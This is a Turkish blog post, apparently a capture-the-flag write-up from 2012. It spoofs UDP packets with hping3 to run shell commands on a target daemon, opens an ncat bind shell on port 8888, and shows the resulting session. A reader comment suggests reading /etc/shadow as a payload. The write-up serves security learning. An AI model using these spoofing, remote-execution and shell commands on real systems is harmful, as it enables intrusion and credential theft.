2 Haziran 2012

Hping ile uzak sistemlerde komut çalıştırma

Posted by: Fırat Celal Erdik 2 Haziran 2012
Bu makalemde UDP paketlerin data kısmına istenilen herhangi bir komut yerleştirerek uzak sistemlerde koşturulmasından bahsedeceğim.BGA tarafından düzenlenen CTF(Capture the flag) 2012 yarışmasında karşılaştıgım bu adım biraz zorlamıştı ama nihayetinde şöyle bir çözüm bulmuştum.Bize verilen bilgi yalnızca bir URL adresi(start.hack2net.com) ve bu adresin UDP 9999 portunun bir daemon tarafından dinlendigini ve bu porta yalnızca 5.5.5.5 IP adresinden gelen isteklerin dogrudan işletim sisteminde çalıştırıldığı şeklindeydi.

Yani sunucuda şuna benzer bir komut çalıştırılmış:
ncat -u -c /bin/bash -k -n -v --allow 5.5.5.5 -l 9999

Bu bilgi ışığında bizim bu sistemden ismi verilen(bgactf.tc) isimli trucrypte ile şifrelenmiş dosyayı alıp kırmamız istenmişti.Bu durumda UDP paketlerine istediğimiz datayı yerleştirip hedef sisteme göndermemiz gerekiyordu.Bu şekilde istenen dosyayı bulup bunu web dizinine atıp download edebilecektik.Spoof işleminin yapılmasında NAT arkasındaki sistemler sorun çıkardığı için VPS server kullanılmamız gerekti.Istenilen bir datayı istenilen bir ip ile spoof edip hedefe gönderebilmek için hping aracını kullandık.


Hping aracı ile bu işlemi yapabilmek için ilgili komut şu şekilde:
root@erd-pc:/home/erd# hping3 --udp 85.95.238.171 -p 9999 -a 5.5.5.5 -E data -d 500

Burada data dosyasının içine örnek olarak şöyle bir komut yazdıgımızı düşünelim:
mkdir /var/networkpentest;cp /tmp/bgactf.tc /var/networkpentest

Böylece /var/ dizini altında önce bir networkpentest isimli bir dizin oluşturmuş olacagız ve ardından cp komutu ile istediğimiz yerdeki bir dosyayı /var/ dizini altında oluşturduğumuz yeni dizine kopyalamış olacagız.Ardından bu dosya start.hack2net.com/networkpentest/bgactf.tc  adresinden çagrılarak download edilebilir.

Veya sunucu üzerindeki bir tcp portunu listen moda alıp tüm dünyaya açmak ve daha rahat hareket etmek için data dosyasına şöye bir ncat komutu da girilebilir.
ncat -e /bin/bash -l 8888 --keep-open -v


Yine yukarıdaki gibi hping aracı ile bu komut uzak sisteme gönderildiginde sistemde 8888 tcp portu listen moda alınmış olur.Yani dışardan gelecek bağlantıları kabul edecek ve ayrıca dışardan bağlantı kurulduktan sonra gelen istekler /bin/bash de koşturulmuş olacak.Tabi burada uzak sistem linux türevi bir sistem ve ncat üzerinde kurulu.
Hping ile uzak sistemde bu komut koşturulduğuktan sonra şu şekilde bir komut ile sisteme bağlanılabilir:

root@erd-pc:/home/erd# ncat start.hack2net.com 8888

ifconfig
eth0      Link encap:Ethernet  HWaddr aa:00:04:00:0a:04  
          inet addr:85.95.238.171  Bcast:85.95.238.172  Mask:255.255.255.128
          inet6 addr: fe80::a800:4ff:fe00:a04/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:42621 errors:0 dropped:0 overruns:0 frame:0
          TX packets:33233 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:29538200 (29.5 MB)  TX bytes:4618406 (4.6 MB)
          Interrupt:17 


lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:34884 errors:0 dropped:0 overruns:0 frame:0
          TX packets:34884 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:7255079 (7.2 MB)  TX bytes:7255079 (7.2 MB)


4 yorum:

  1. bgactf.tc silinmiş

    YanıtlaSil
  2. Bu yorum bir blog yöneticisi tarafından silindi.

    YanıtlaSil
  3. hocam 'data'ya o komutları nasıl atıyoruz?

    YanıtlaSil
  4. data dosyası herhangi bir text dosyası içine direk yazabilirsiniz.
    örn: cat /etc/shadow

    YanıtlaSil

Her türlü eleştiri,yorum,ekleme ve düzeltmeye yönelik fikirlerinizi paylaşabilirsiniz.Hakaret içeren yorumlar filtrelenmektedir.

Makalelerin kötüye kullanım kullanıcının sorumluluğundadır. | networkpentest.net. Blogger tarafından desteklenmektedir.